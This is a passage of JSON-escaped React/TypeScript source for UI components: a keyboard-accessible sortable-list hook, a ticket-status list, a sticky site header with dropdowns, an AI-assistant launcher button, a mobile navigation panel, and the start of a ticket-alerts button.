null) => void\n  /**\n   * Goes on the grip. Only the grip starts a drag, so text selection and normal\n   * clicking inside the item keep working, and it carries the keyboard\n   * alternative — so spread it rather than picking it apart.\n   */\n  dragHandleProps: {\n    // Callback refs, not `Ref<HTMLElement>`: a ref OBJECT of the wider type\n    // cannot be attached to a `<button>` or a `<div>`, a callback taking the\n    // wider type can.\n    ref: (node: HTMLElement | null) => void\n    onKeyDown: (event: KeyboardEvent<HTMLElement>) => void\n  }\n  isDragging: boolean\n}\n\n/**\n * Registers one item of a {@link SortableList}.\n *\n * The item's own element is the draggable, and the list finds it by the marker\n * this hook sets — so nothing about a row's identity has to survive a round trip\n * through the DOM, and there is no per-item id to mismatch during hydration.\n *\n * Pragmatic drag and drop deliberately ships no keyboard dragging, so the grip\n * carries its own: Arrow Up / Arrow Down move the item one place. One press, one\n * move — no lift-and-place mode to get stuck in, and it works identically for\n * screen-reader users, who hear the result from the list's live region.\n */\nexport function useSortableItem(): SortableItem {\n  const { dragType, disabled, reorder, readItems } = useSortableListContext()\n  // State rather than refs: registration has to wait until the consumer has\n  // actually rendered its grip, and only a re-render tells us it did.\n  const [item, setItem] = useState<HTMLElement | null>(null)\n  const [handle, setHandle] = useState<HTMLElement | null>(null)\n  const [isDragging, setIsDragging] = useState(false)\n\n  const itemRef = useCallback((node: HTMLElement | null) => {\n    // Set here rather than rendered as a prop: it is this module's private\n    // bookkeeping, and a consumer forgetting to spread it would break the list\n    // silently.\n    node?.setAttribute(SORTABLE_ITEM_ATTRIBUTE, '')\n    setItem(node)\n  }, [])\n\n  useEffect(() => {\n    if (!item || !handle || disabled) return\n    return combine(\n      // The drag has to start as a \"move\", or its first frame is drawn with the\n      // copy cursor — see `drag-effect.ts`.\n      holdMoveDragEffect(item),\n      draggable({\n        element: item,\n        dragHandle: handle,\n        getInitialData: () => ({ type: dragType }),\n        // The list moves the real item instead — see `SortableList`.\n        onGenerateDragPreview: ({ nativeSetDragImage }) => disableNativeDragPreview({ nativeSetDragImage }),\n        onDragStart: () => setIsDragging(true),\n        onDrop: () => setIsDragging(false),\n      }),\n    )\n  }, [item, handle, disabled, dragType])\n\n  const onKeyDown = useCallback(\n    (event: KeyboardEvent<HTMLElement>) => {\n      const step = event.key === 'ArrowUp' ? -1 : event.key === 'ArrowDown' ? 1 : 0\n      if (!step || disabled) return\n      const items = readItems()\n      const from = items.indexOf(event.currentTarget.closest(`[${SORTABLE_ITEM_ATTRIBUTE}]`) as HTMLElement)\n      const to = from + step\n      if (from < 0 || to < 0 || to >= items.length) return\n      event.preventDefault()\n      reorder(from, to)\n      // The grip is re-rendered at its new position; keep the focus on it so a\n      // run of presses keeps moving the same item.\n      requestAnimationFrame(() => handle?.focus())\n    },\n    [disabled, readItems, reorder, handle],\n  )\n\n  return { itemRef, dragHandleProps: { ref: setHandle, onKeyDown }, isDragging }\n}\n","'use client'\n\nimport {\n  DndContext,\n  type DragEndEvent,\n  type DraggableAttributes,\n  type DraggableSyntheticListeners,\n  KeyboardSensor,\n  PointerSensor,\n  closestCenter,\n  useSensor,\n  useSensors,\n} from '@dnd-kit/core'\nimport {\n  SortableContext,\n  sortableKeyboardCoordinates,\n  useSortable,\n  verticalListSortingStrategy,\n} from '@dnd-kit/sortable'\nimport { CSS } from '@dnd-kit/utilities'\nimport * as React from 'react'\nimport { cn } from '../../../utils/cn'\n\nexport interface SortableRowRenderArgs {\n  dragHandleProps: DraggableSyntheticListeners\n  dragHandleAttributes: DraggableAttributes\n  isDragging: boolean\n}\n\nexport interface TicketStatusConfigListProps<T extends { id: string }> {\n  items: T[]\n  onReorder: (oldIndex: number, newIndex: number) => void\n  renderRow: (item: T, args: SortableRowRenderArgs) => React.ReactNode\n  className?: string\n}\n\nexport function TicketStatusConfigList<T extends { id: string }>({\n  items,\n  onReorder,\n  renderRow,\n  className,\n}: TicketStatusConfigListProps<T>) {\n  const sensors = useSensors(\n    useSensor(PointerSensor, { activationConstraint: { distance: 4 } }),\n    useSensor(KeyboardSensor, { coordinateGetter: sortableKeyboardCoordinates }),\n  )\n\n  const handleDragEnd = (event: DragEndEvent) => {\n    const { active, over } = event\n    if (!over || active.id === over.id) return\n    const oldIndex = items.findIndex(i => i.id === active.id)\n    const newIndex = items.findIndex(i => i.id === over.id)\n    if (oldIndex === -1 || newIndex === -1) return\n    onReorder(oldIndex, newIndex)\n  }\n\n  const sortableIds = React.useMemo(() => items.map(i => i.id), [items])\n\n  return (\n    <DndContext sensors={sensors} collisionDetection={closestCenter} onDragEnd={handleDragEnd}>\n      <SortableContext items={sortableIds} strategy={verticalListSortingStrategy}>\n        <div className={cn('flex w-full flex-col gap-[var(--spacing-system-xs)]', className)}>\n          {items.map(item => (\n            <SortableRow key={item.id} id={item.id}>\n              {args => renderRow(item, args)}\n            </SortableRow>\n          ))}\n        </div>\n      </SortableContext>\n    </DndContext>\n  )\n}\n\nfunction SortableRow({\n  id,\n  children,\n}: {\n  id: string\n  children: (args: SortableRowRenderArgs) => React.ReactNode\n}) {\n  const { attributes, listeners, setNodeRef, transform, transition, isDragging } = useSortable({ id })\n\n  const style: React.CSSProperties = {\n    transform: CSS.Transform.toString(transform),\n    transition,\n    // Raise the actively dragged row above its siblings — without this the\n    // stacking follows DOM order, so a row dragged DOWN slides UNDER the rows\n    // below it while a row dragged up correctly renders on top.\n    zIndex: isDragging ? 1 : undefined,\n  }\n\n  return (\n    <div ref={setNodeRef} style={style}>\n      {children({\n        dragHandleProps: listeners,\n        dragHandleAttributes: attributes,\n        isDragging,\n      })}\n    </div>\n  )\n}\n","'use client';\n\nimport React, { useEffect, useRef, useState } from 'react';\nimport Link from '../../embed-shims/next-link';\nimport { HeaderConfig, NavigationItem } from '../../types/navigation';\nimport { cn } from '../../utils';\nimport { Menu01Icon, XmarkIcon } from '../icons-v2-generated';\nimport { Button } from '../ui/button';\nimport { HeaderButton } from './header-button';\nimport { MingoAiButton } from './mingo-ai-button';\nimport { MOBILE_NAV_PANEL_ID } from './mobile-nav-panel';\nimport { TicketAlertsButton } from './ticket-alerts-button';\nimport { TopNavigation } from './top-navigation';\n\nexport interface HeaderProps {\n  config: HeaderConfig;\n  platform?: string;\n}\n\n// Re-export from types for convenience\nexport type { HeaderConfig } from '../../types/navigation';\n\n// Top-level nav-link typography (Figma 2936-6815): the compact h6 step\n// (DM Sans 500, 14/20) with 24px icons. Overrides the `font=\"regular\"` h4\n// label and the Button base's 20px svg cap via cn()'s tailwind-merge.\nconst NAV_ITEM_CLASSES = 'text-h6 [&_svg]:h-6 [&_svg]:w-6';\n\nexport function Header({ config, platform }: HeaderProps) {\n  const [show, setShow] = useState(true);\n  const [lastScrollY, setLastScrollY] = useState(0);\n  const [openDropdowns, setOpenDropdowns] = useState<Record<string, boolean>>({});\n  const dropdownRefs = useRef<Record<string, HTMLDivElement | null>>({});\n  const triggerRefs = useRef<Record<string, HTMLButtonElement | null>>({});\n\n  // Handle click outside and escape key for custom dropdown\n  useEffect(() => {\n    const handleClickOutside = (event: MouseEvent) => {\n      const target = event.target as HTMLElement;\n      if (!target) return;\n\n      // Check if click is outside all dropdowns\n      const isOutsideAllDropdowns = Object.keys(openDropdowns).every(id => {\n        const dropdown = dropdownRefs.current[id];\n        const trigger = triggerRefs.current[id];\n\n        if (!dropdown || !trigger) return true;\n\n        return !dropdown.contains(target) && !trigger.contains(target);\n      });\n\n      if (isOutsideAllDropdowns) {\n        setOpenDropdowns({});\n      }\n    };\n\n    const handleEscapeKey = (event: KeyboardEvent) => {\n      if (event.key === 'Escape') {\n        setOpenDropdowns({});\n      }\n    };\n\n    // Only add listeners if any dropdown is open\n    const hasOpenDropdowns = Object.values(openDropdowns).some(Boolean);\n    if (hasOpenDropdowns) {\n      document.addEventListener('mousedown', handleClickOutside);\n      document.addEventListener('keydown', handleEscapeKey);\n    }\n\n    return () => {\n      document.removeEventListener('mousedown', handleClickOutside);\n      document.removeEventListener('keydown', handleEscapeKey);\n    };\n  }, [openDropdowns]);\n\n  // Force close all dropdowns and cleanup on unmount\n  useEffect(() => {\n    return () => {\n      // Close all dropdowns before unmounting to prevent focus errors\n      setOpenDropdowns({});\n      // Clear any stored refs\n      dropdownRefs.current = {};\n      triggerRefs.current = {};\n    };\n  }, []);\n\n  useEffect(() => {\n    // Only add scroll listener if autoHide is enabled\n    if (!config.autoHide) {\n      setShow(true); // Always show header when autoHide is disabled\n      return;\n    }\n\n    const handleScroll = () => {\n      const currentScrollY = window.scrollY;\n\n      setLastScrollY(prevScrollY => {\n        // Determine if we should show or hide the header\n        const shouldHide = currentScrollY > prevScrollY && currentScrollY > 50;\n        const shouldShow = currentScrollY < prevScrollY || currentScrollY <= 10;\n\n        if (shouldHide) {\n          setShow(false);\n        } else if (shouldShow) {\n          setShow(true);\n        }\n\n        return currentScrollY;\n      });\n    };\n\n    window.addEventListener('scroll', handleScroll, { passive: true });\n\n    return () => {\n      window.removeEventListener('scroll', handleScroll);\n    };\n  }, [config.autoHide]);\n\n  const renderNavigationItem = (item: NavigationItem) => {\n    // If custom element provided, use it\n    if (item.element) {\n      return <React.Fragment key={item.id}>{item.element}</React.Fragment>;\n    }\n\n    // If it has children, render as custom dropdown\n    if (item.children && item.children.length > 0) {\n      const isOpen = openDropdowns[item.id] || false;\n\n      return (\n        <div key={item.id} className=\"relative\">\n          <Button\n            ref={el => {\n              triggerRefs.current[item.id] = el;\n            }}\n            variant=\"transparent\"\n            leftIcon={item.icon}\n            rightIcon={item.badge}\n            onClick={() => {\n              // Single-open: opening a dropdown closes any other open one —\n              // only one nav dropdown may be expanded at a time.\n              setOpenDropdowns(prev => ({\n                [item.id]: !prev[item.id],\n              }));\n            }}\n            size=\"default\"\n            font=\"regular\"\n            className={cn(\n              // Top-level nav links (Figma 2936-6815): compact h6 label\n              // (DM Sans 500, 14/20) with 24px icons — overrides the\n              // font=\"regular\" h4 step and the button's 20px svg cap.\n              NAV_ITEM_CLASSES,\n              item.isActive && 'bg-ods-bg-hover', // Active items get subtle gray background\n              isOpen && 'bg-ods-bg-hover', // Open dropdowns get gray background\n              item.className,\n            )}\n          >\n            {item.label}\n          </Button>\n\n          {/* Always render dropdown in DOM so crawlers see child <a> links;\n              toggle visibility via CSS + `inert`.\n\n              Why `inert` (not `aria-hidden`):\n                - `aria-hidden=true` HIDES from screen readers but DOES NOT\n                  remove focusable descendants from the tab order. If a child\n                  retains focus (e.g., the dropdown closes while a child was\n                  hovered/focused), the browser correctly flags \"Blocked\n                  aria-hidden on an element because its descendant retained\n                  focus\" — a real WAI-ARIA violation.\n                - `inert` is the HTML-standard attribute that does BOTH:\n                  removes from a11y tree + blocks focus + prevents click +\n                  removes from tab order. Native React 19 support. */}\n          <div\n            ref={el => {\n              dropdownRefs.current[item.id] = el;\n            }}\n            inert={!isOpen}\n            className={cn(\n              'absolute top-full left-0 mt-1',\n              item.dropdownClassName ? '' : 'bg-ods-card border border-ods-border',\n              'rounded-lg shadow-xl z-[9999]',\n              item.id === 'community' ? 'min-w-[240px]' : 'min-w-[220px]',\n              'transition-opacity duration-150',\n              isOpen ? 'opacity-100 visible pointer-events-auto' : 'opacity-0 invisible pointer-events-none',\n              item.dropdownClassName || '',\n            )}\n          >\n            <div className=\"p-2\">\n              {item.children.map((child, index) => (\n                <Button\n                  key={child.id}\n                  variant=\"transparent\"\n                  size=\"small-legacy\"\n                  href={child.href} // Use href for navigation\n                  leftIcon={child.icon}\n                  rightIcon={child.badge}\n                  onClick={() => {\n                    // Always close dropdown when any item is clicked\n                    setOpenDropdowns(prev => ({ ...prev, [item.id]: false }));\n                    // If there's a custom onClick, call it too\n                    if (child.onClick) {\n                      child.onClick();\n                    }\n                  }}\n                  className={cn(\n                    'flex justify-start w-full',\n                    // Same caption step as the top-level nav links (designer:\n                    // dropdowns follow the h6 caption size/weight too). The\n                    // explicit font-medium beats small-legacy's font-bold via\n                    // tailwind-merge instead of stylesheet order.\n                    'text-h6 font-medium',\n                    index < (item.children?.length ?? 0) - 1 && 'mb-1',\n                    'text-ods-text-primary', // All dropdown items use primary text color\n                    child.isActive && 'bg-ods-bg-hover', // Active dropdown items get gray background\n                  )}\n                  {...(child.isExternal && { isExternal: true })}\n                >\n                  {child.label}\n                </Button>\n              ))}\n            </div>\n            {item.dropdownContent && (\n              <>\n                {item.showDropdownDivider !== false && <div className=\"h-px my-2 mx-2 bg-ods-border\" />}\n                <div className=\"px-2 pb-2\">{item.dropdownContent}</div>\n              </>\n            )}\n          </div>\n        </div>\n      );\n    }\n\n    // Regular navigation item\n    if (item.href || item.onClick) {\n      return (\n        <Button\n          key={item.id}\n          variant=\"transparent\"\n          href={item.href} // Use href for navigation\n          onClick={item.onClick} // Only for non-navigation actions\n          leftIcon={item.icon}\n          rightIcon={item.badge}\n          size=\"default\"\n          font=\"regular\"\n          className={cn(\n            NAV_ITEM_CLASSES,\n            'hover:bg-ods-bg-hover focus:bg-ods-bg-hover',\n            'whitespace-nowrap',\n            'text-ods-text-primary', // All items use primary text color\n            item.isActive && 'bg-ods-bg-hover', // Active items get subtle gray background\n            item.className,\n          )}\n          {...(item.isExternal && { isExternal: true })}\n        >\n          {item.label}\n        </Button>\n      );\n    }\n\n    // Button with onClick\n    return (\n      <Button\n        key={item.id}\n        variant=\"transparent\"\n        onClick={item.onClick}\n        leftIcon={item.icon}\n        rightIcon={item.badge}\n        size=\"default\"\n        font=\"regular\"\n        className={cn(\n          NAV_ITEM_CLASSES,\n          'hover:bg-ods-bg-hover focus:bg-ods-bg-hover',\n          'whitespace-nowrap',\n          'text-ods-text-primary', // All items use primary text color\n          item.isActive && 'bg-ods-bg-hover', // Active items get gray background\n          item.className,\n        )}\n      >\n        {item.label}\n      </Button>\n    );\n  };\n\n  const hasNav = !!config.navigation && config.navigation.items.length > 0;\n  const hasCta =\n    !!config.actions?.right?.length || !!(config.actions?.persistent && config.actions.persistent.length > 0);\n\n  return (\n    <div\n      className={cn('sticky top-0 z-[50] w-full transition-transform duration-300 ease-in-out')}\n      style={{\n        transform: !show ? 'translateY(-100%)' : 'translateY(0)',\n      }}\n    >\n      {/* Unified ODS top-navigation shell (Figma 2797-5978): 48px mobile /\n          56px md+, cell model with per-cell dividers. NOTE: no `backdrop-blur`\n          anywhere in this bar. Every platform ships an OPAQUE header\n          background (`backgroundColor` resolves to an opaque ODS token), so a\n          backdrop-filter would blur a backdrop that is then fully painted\n          over: zero visual effect, but the browser still re-rasterizes the\n          strip behind this sticky bar every scroll frame and content flickers\n          as it passes under the header. If a consumer ever wants a\n          translucent \"glass\" header, add the blur together with a translucent\n          `backgroundColor` deliberately. */}\n      <TopNavigation\n        // `relative` anchors the absolutely-centered nav (position 'center')\n        // to the bar itself, so the links sit at the true viewport center\n        // regardless of the asymmetric CTA/Mingo cluster on the right.\n        className={cn('relative', config.className)}\n        style={config.style}\n        backgroundClassName={config.backgroundColor}\n        centerBreakpoint=\"lg\"\n        size=\"big\"\n        leading={\n          <>\n            {/* Length-guarded: platform configs often pass `left: []`, and an\n                empty array is truthy — without the guard the cell would render\n                as a bare divider + padding. */}\n            {/* No padding on the wrapper: leading cells (HeaderButton-based\n                admin toggles) size themselves to the bar's square cell. */}\n            {!!config.actions?.left?.length && (\n              <div className=\"flex h-full items-center border-r border-ods-border\">{config.actions.left}</div>\n            )}\n            {/* Mobile/tablet menu toggle — a leading cell per the ODS spec\n              (banded with the nav breakpoint `lg` so the desktop nav and the\n              toggle never co-show). */}\n            {config.mobile?.enabled && (\n              <HeaderButton\n                className=\"lg:hidden border-r border-ods-border\"\n                onClick={() => {\n                  config.mobile?.onToggle?.();\n                }}\n                isActive={config.mobile?.isOpen ?? false}\n                aria-label={config.mobile?.isOpen ? 'Close menu' : 'Open menu'}\n                aria-expanded={config.mobile?.isOpen ?? false}\n                // Conditional: the panel unmounts when closed, so an unconditional\n                // reference would dangle (axe aria-valid-attr-value).\n                aria-controls={config.mobile?.isOpen ? MOBILE_NAV_PANEL_ID : undefined}\n                icon={\n                  config.mobile?.isOpen\n                    ? config.mobile?.closeIcon || <XmarkIcon className=\"w-6 h-6\" />\n                    : config.mobile?.menuIcon || <Menu01Icon className=\"w-6 h-6\" />\n                }\n              />\n            )}\n          </>\n        }\n        logo={\n          <Link href={config.logo.href} className=\"transition-opacity duration-200 hover:opacity-80\">\n            {config.logo.element}\n          </Link>\n        }\n        // Big-bar rule (Figma 2936-6812): 24px fixed left inset on the logo\n        // zone at every breakpoint — the same 24px also reads as the gap\n        // between a leading cell (burger / admin toggle) and the logo.\n        logoClassName=\"pl-[var(--spacing-system-lf)] md:pl-[var(--spacing-system-lf)] lg:pl-[var(--spacing-system-lf)]\"\n        center={\n          hasNav ? (\n            <nav\n              className={cn(\n                'flex items-center gap-2',\n                // True centering relative to the bar (not the leftover flex\n                // space) — same treatment the pre-unification header had.\n                config.navigation?.position === 'center' && 'absolute left-1/2 -translate-x-1/2',\n              )}\n              role=\"navigation\"\n              aria-label=\"Main navigation\"\n            >\n              {config.navigation?.items.map(renderNavigationItem)}\n            </nav>\n          ) : undefined\n        }\n        centerClassName={cn(\n          config.navigation?.position === 'left' && 'justify-start',\n          config.navigation?.position === 'right' && 'justify-end pr-[var(--spacing-system-m)]',\n        )}\n        cta={\n          hasCta ? (\n            <>\n              {/* Desktop actions — banded with the nav/burger breakpoint (lg)\n                  so the desktop right-cluster and the mobile toggle never\n                  co-show. */}\n              {!!config.actions?.right?.length && (\n                <div className=\"hidden lg:flex items-center gap-3\">{config.actions.right}</div>\n              )}\n              {config.actions?.persistent && config.actions.persistent.length > 0 && (\n                <div className=\"flex items-center\">{config.actions.persistent}</div>\n              )}\n            </>\n          ) : undefined\n        }\n        ctaClassName=\"gap-3\"\n        sideActions={\n          config.tickets || config.mingo?.enabled ? (\n            <>\n              {/* Support-ticket alerts cell — before Mingo, flush cell row.\n                  Attention-only: renders nothing unless there are unread\n                  replies (and the host mounted <TicketLiveProvider>). */}\n              {config.tickets && (\n                <TicketAlertsButton\n                  href={config.tickets.href}\n                  onNavigate={config.tickets.onClick}\n                  className=\"border-l border-ods-border\"\n                />\n              )}\n              {config.mingo?.enabled && (\n                <MingoAiButton\n                  source={config.mingo.source}\n                  icon={config.mingo.icon}\n                  label={config.mingo.label}\n                  className={config.mingo.className}\n                />\n              )}\n            </>\n          ) : undefined\n        }\n      />\n    </div>\n  );\n}\n","'use client';\n\nimport React from 'react';\nimport { cn } from '../../utils';\nimport { MingoIcon } from '../icons';\n\nexport interface MingoAiButtonProps extends React.ButtonHTMLAttributes<HTMLButtonElement> {\n  source?: string;\n  /** The platform's Mingo identity glyph — pass the SAME server-configured\n   *  icon the chat panel renders (host-side: `EntityIcon` fed by the admin\n   *  `assistantIcon`), so the launcher and the panel can never diverge.\n   *  Falls back to the packaged Mingo mark when the server has none. */\n  icon?: React.ReactNode;\n  /** The launcher's wordmark + aria-label — pass the server-configured\n   *  assistant name (same `assistantName` the chat panel shows) so the\n   *  launcher never hardcodes an identity the admin has renamed. */\n  label?: string;\n}\n\n/**\n * Marketing-header Mingo AI launcher: the flush, full-height button rendered\n * at the far right edge of the public `Header` (`config.mingo`). Stateless:\n * clicking dispatches an `ask-ai:open` CustomEvent (source-filtered) that the\n * mounted `EmbeddableChat` panel listens for.\n *\n * Distinct from `header-mingo-button.tsx` (`HeaderMingoButton`), the\n * dashboard/AppHeader controlled toggle; different surface and contract, do\n * not merge them.\n *\n * Deliberately a raw `<button>` rather than the ui-kit `Button`: it needs\n * full-height flush cell layout, an absolutely-positioned animated ring, and\n * icon-only collapse that `Button` cannot express (same precedent as\n * `header-mingo-button.tsx`).\n */\nconst MINGO_ACCENT = 'var(--ods-flamingo-cyan-base)';\n\nexport function MingoAiButton({ source, icon, label = 'Mingo AI', className, onClick, ...props }: MingoAiButtonProps) {\n  return (\n    <button\n      {...props}\n      type=\"button\"\n      aria-label={label}\n      onClick={e => {\n        // Coalesce to '' so a source-less mount still matches EmbeddableChat's\n        // own `runtime.source ?? ''` comparison (undefined !== '' would make\n        // the panel silently ignore the event).\n        window.dispatchEvent(new CustomEvent('ask-ai:open', { detail: { source: source ?? '' } }));\n        onClick?.(e);\n      }}\n      className={cn(\n        // Unified ODS top-navigation cell (Figma 2797-6808 desktop /\n        // 2797-7275 mobile): full-height cell with a leading divider,\n        // transparent at rest so it inherits the bar's background.\n        // No hover background on the cell: the animated ring + shimmer are\n        // the ONLY hover treatment (a bg flip on top read as a double\n        // animation).\n        'group/mingo relative flex h-full shrink-0 items-center border-l border-ods-border bg-transparent px-[var(--spacing-system-m)] focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent',\n        className,\n      )}\n    >\n      {/* Inner box = 1:1 twin of the DEFAULT-size Button geometry (rounded-md,\n          h-11 md:h-12, px-m) — the same footprint as the header's \"Try for\n          Free\" CTA — so the animated ring traces exactly where a full button\n          border would sit inside the 72px bar. */}\n      <span className=\"relative flex h-11 items-center gap-[var(--spacing-system-xsf)] rounded-md px-[var(--spacing-system-m)] md:h-12\">\n        {/* AI edge light (Apple-Intelligence-style): a rotating accent-\n            gradient arc clipped to a 3px ring on the box outline via CSS\n            mask (.mingo-edge-frame) — NO opaque cover, so the launcher\n            inherits whatever background sits behind it. Platform-tinted via\n            the accent token. */}\n        <span aria-hidden=\"true\" className=\"mingo-edge-frame pointer-events-none absolute inset-0 rounded-md\">\n          <span className=\"mingo-edge\" />\n        </span>\n        {/* One-shot light-streak shimmer on hover, clipped to the box. */}\n        <span aria-hidden=\"true\" className=\"pointer-events-none absolute inset-0 overflow-hidden rounded-md\">\n          <span\n            className=\"mingo-shimmer absolute inset-y-0 left-0 w-1/2\"\n            style={{\n              background:\n                'linear-gradient(105deg, transparent, color-mix(in srgb, var(--ods-system-greys-white) 12%, transparent), transparent)',\n            }}\n          />\n        </span>\n        {icon ? (\n          <span className=\"relative inline-flex size-6 shrink-0 items-center justify-center\">{icon}</span>\n        ) : (\n          <MingoIcon\n            color=\"currentColor\"\n            eyesColor={MINGO_ACCENT}\n            cornerColor={MINGO_ACCENT}\n            className=\"relative h-6 w-6 shrink-0 text-ods-text-primary\"\n          />\n        )}\n        {/* Wordmark collapses below md — the mobile cell is icon-only per\n            spec. h3 bold, matching the default-size CTA label next to it\n            (Figma 2936-6825). */}\n        {/* Bare `text-h3` — the exact composite the default-size Button label\n            uses (bold 700 and -0.02em tracking are built into the utility). */}\n        <span className=\"relative hidden whitespace-nowrap text-h3 text-ods-text-primary md:inline\">{label}</span>\n      </span>\n    </button>\n  );\n}\n\nexport default MingoAiButton;\n","\"use client\"\n\nimport React, { useRef } from 'react'\nimport { usePreventScroll } from '@react-aria/overlays'\nimport { cn } from '../../utils'\nimport { MobileNavConfig, NavigationItem } from '../../types/navigation'\nimport { Button } from '../ui/button'\nimport { OVERLAY_BACKDROP_CLASS } from '../ui/drawer'\nimport { useFocusTrap } from '../../hooks/ui/use-focus-trap'\nimport { useHeaderHeight } from '../../hooks/ui/use-header-height'\nimport { X } from 'lucide-react'\n\n/** DOM id of the panel — referenced by the header hamburger's `aria-controls`. */\nexport const MOBILE_NAV_PANEL_ID = 'mobile-nav-panel'\n\nexport interface MobileNavPanelProps {\n  isOpen: boolean\n  config: MobileNavConfig\n}\n\nexport function MobileNavPanel({ isOpen, config }: MobileNavPanelProps) {\n  const panelRef = useRef<HTMLDivElement>(null)\n\n  // Shared ref-counted, iOS-aware scroll lock (react-aria) — one counter with\n  // the modals and chat overlays, restores prior styles on release.\n  usePreventScroll({ isDisabled: !isOpen })\n  // Initial focus, Tab containment, Escape-to-close, guarded focus restore.\n  useFocusTrap(panelRef, isOpen, { onEscape: config.onClose })\n  // The panel is layout-mounted on every page — observers only while open.\n  const headerHeight = useHeaderHeight(64, { enabled: isOpen })\n\n  if (!isOpen) return null\n\n  const renderNavigationItem = (item: NavigationItem) => {\n    if (item.element) {\n      return <div key={item.id}>{item.element}</div>\n    }\n\n    const handleClick = () => {\n      if (item.onClick) {\n        item.onClick()\n      }\n      config.onClose?.()\n    }\n\n    if (item.href) {\n      return (\n        <Button\n          key={item.id}\n          variant=\"outline\"\n          size=\"small-legacy\"\n          href={item.href}\n          onClick={handleClick}\n          leftIcon={item.icon}\n          rightIcon={item.badge}\n          className={cn(\n            \"justify-start h-12 px-4 bg-transparent border-none text-ods-text-primary hover:bg-ods-bg-hover gap-3 rounded-md transition-colors\",\n            item.isActive ? \"bg-ods-bg-hover\" : \"\"\n          )}\n        >\n          {item.label}\n        </Button>\n      )\n    }\n\n    return (\n      <Button\n        key={item.id}\n        variant=\"outline\"\n        size=\"small-legacy\"\n        onClick={handleClick}\n        leftIcon={item.icon}\n        className={cn(\n          \"justify-start h-12 px-4 bg-transparent border-none text-ods-text-primary hover:bg-ods-bg-hover gap-3 rounded-md transition-colors\",\n          item.isActive ? \"bg-ods-bg-hover\" : \"\"\n        )}\n      >\n        <span className=\"flex-1 text-left\">{item.label}</span>\n        {item.badge !== undefined && (\n          <span className=\"ml-auto\">{item.badge}</span>\n        )}\n      </Button>\n    )\n  }\n\n  return (\n    <>\n      {/* Backdrop - closes nav when clicked outside */}\n      <div\n        className={cn(\"fixed inset-0 z-[9998]\", OVERLAY_BACKDROP_CLASS)}\n        onClick={config.onClose}\n      />\n\n      {/* Navigation Panel - top-anchored floating card */}\n      <div\n        ref={panelRef}\n        id={MOBILE_NAV_PANEL_ID}\n        role=\"dialog\"\n        aria-modal=\"true\"\n        aria-label=\"Navigation menu\"\n        tabIndex={-1}\n        style={{ '--mobile-nav-top': `${headerHeight + 16}px` } as React.CSSProperties}\n        className={cn(\n          \"fixed z-[9999] rounded-lg shadow-xl\",\n          config.className ? \"\" : \"bg-ods-card border border-ods-border\",\n          // Responsive positioning and sizing — LEFT-anchored from md, flush\n          // under the burger cell at the left edge of the unified\n          // top-navigation (a larger inset read as a stray gap between the\n          // burger and its panel).\n          \"right-2 left-2 md:right-auto\",\n          \"md:left-2 md:w-[400px] md:max-w-[calc(100vw-1rem)]\",\n          // Small-viewport (svh) sizing anchored below the measured header —\n          // 100vh overflowed under mobile browser chrome, leaving the bottom\n          // entries and footer unreachable while the body was scroll-locked.\n          \"top-[var(--mobile-nav-top)]\",\n          \"max-h-[calc(100svh-var(--mobile-nav-top)-50px)] md:max-h-[calc(100svh-var(--mobile-nav-top)-8px)]\",\n          \"flex flex-col\",\n          config.className || \"\"\n        )}\n        onClick={(e) => e.stopPropagation()} // Prevent closing when clicking inside nav\n      >\n        {/* Header with close button - fixed at top */}\n        <div className=\"flex justify-end p-2 border-b border-ods-border flex-shrink-0\">\n          <Button\n            aria-label=\"Close menu\"\n            size=\"icon\"\n            variant=\"transparent\"\n            leftIcon={<X className=\"w-4 h-4 text-ods-text-primary\" />}\n            onClick={config.onClose}\n            className=\"hover:bg-ods-bg-hover\"\n          />\n        </div>\n\n        {/* Scrollable content area */}\n        <div className=\"flex-1 overflow-y-auto overflow-x-hidden overscroll-contain px-2 py-2\">\n          <div className=\"flex flex-col space-y-1\">\n            {config.sections.map((section, index) => (\n              <div key={index}>\n                {section.title && (\n                  <div className=\"px-4 pt-2 pb-1 text-h6 font-semibold uppercase text-ods-text-secondary\">\n                    {section.title}\n                  </div>\n                )}\n                <div className=\"flex flex-col gap-1\">\n                  {section.items.map(renderNavigationItem)}\n                </div>\n              </div>\n            ))}\n          </div>\n        </div>\n\n        {/* Footer with action button - fixed at bottom, clears the iOS home indicator */}\n        {config.footer && (\n          <div className=\"border-t border-ods-border p-4 pb-[max(1rem,env(safe-area-inset-bottom))] flex-shrink-0\">\n            {config.footer}\n          </div>\n        )}\n      </div>\n    </>\n  )\n}","'use client'\n\n/**\n * TicketAlertsButton — the unified header affordance for support-ticket\n * unread indication. Mounted by BOTH header shells (hub `Header` via\n * `HeaderConfig.tickets`, console `AppHeader` via `showTicketAlerts`).\n *\n * ATTENTION-ONLY element, deliberately unlike the always-on header cells:\n *   - renders NOTHING unless there are unread support replies (and a\n *     `TicketLiveProvider` is mounted and the viewer is signed in) —\n *     appearing IS the indication, and it disappears once everything\n *     is read;\n *   - standard header-cell glyph coloring (matches the notifications /\n *     time-tracker cells) + accent count pill (2 updates → \"2\", the\n *     sidebar count-pill treatment);\n *   - clicking routes to the ticket with the NEWEST unread reply via the\n *     SSOT deep link (`buildTicketOpenHref` → `<href>?ticket=<id>`): the\n *     `?ticket=` param is the ONE open-drawer source of truth in\n *     `HelpCenterList`, and opening the drawer already smooth-scrolls\n *     the row. With multiple updates the pill stays up with the\n *     remaining count and the next click routes to the next-newest\n *     unread ticket.\n *\n * Design note: the console's NATS-backed `NotificationsProvider` bell\n * covers OpenFrame-internal events; Help Center replies come from the\n * HubSpot mirror domain and must ALSO surface on the hub, which mounts\n * no notifications system — so the affordance both hosts can share is\n * this dedicated cell, not the bell.\n */\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { LifeBuoyIcon } from '../icons-v2-generated/interface/life-buoy-icon'\nimport { useOptionalTicketLive } from '../tickets/ticket-live-provider'\nimport { buildTicketOpenHref } from '../tickets/types'\nimport { HeaderButton } from './header-button'\nimport { UnreadCountBadge } from './unread-dot'\n\nexport interface TicketAlertsButtonProps {\n  /** BASE path of the host's tickets surface — may carry ANY nesting\n   *  prefix (hub `/tickets`, console `/help-center/tickets`, an\n   *  embedder's `/support/portal/tickets`). The deep link is built by\n   *  the SSOT `buildTicketOpenHref` (`<base>?ticket=<id>` — the same\n   *  param `HelpCenterList` derives its drawer state from; opening the\n   *  drawer also smooth-scrolls the row). */\n  href: string\n  /** Host navigation (router push) — receives the FULL computed href.\n   *  Defaults to `window.location.assign`. */\n  onNavigate?: (href: string) => void\n  disabled?: boolean\n  className?: string\n}\n\nexport function 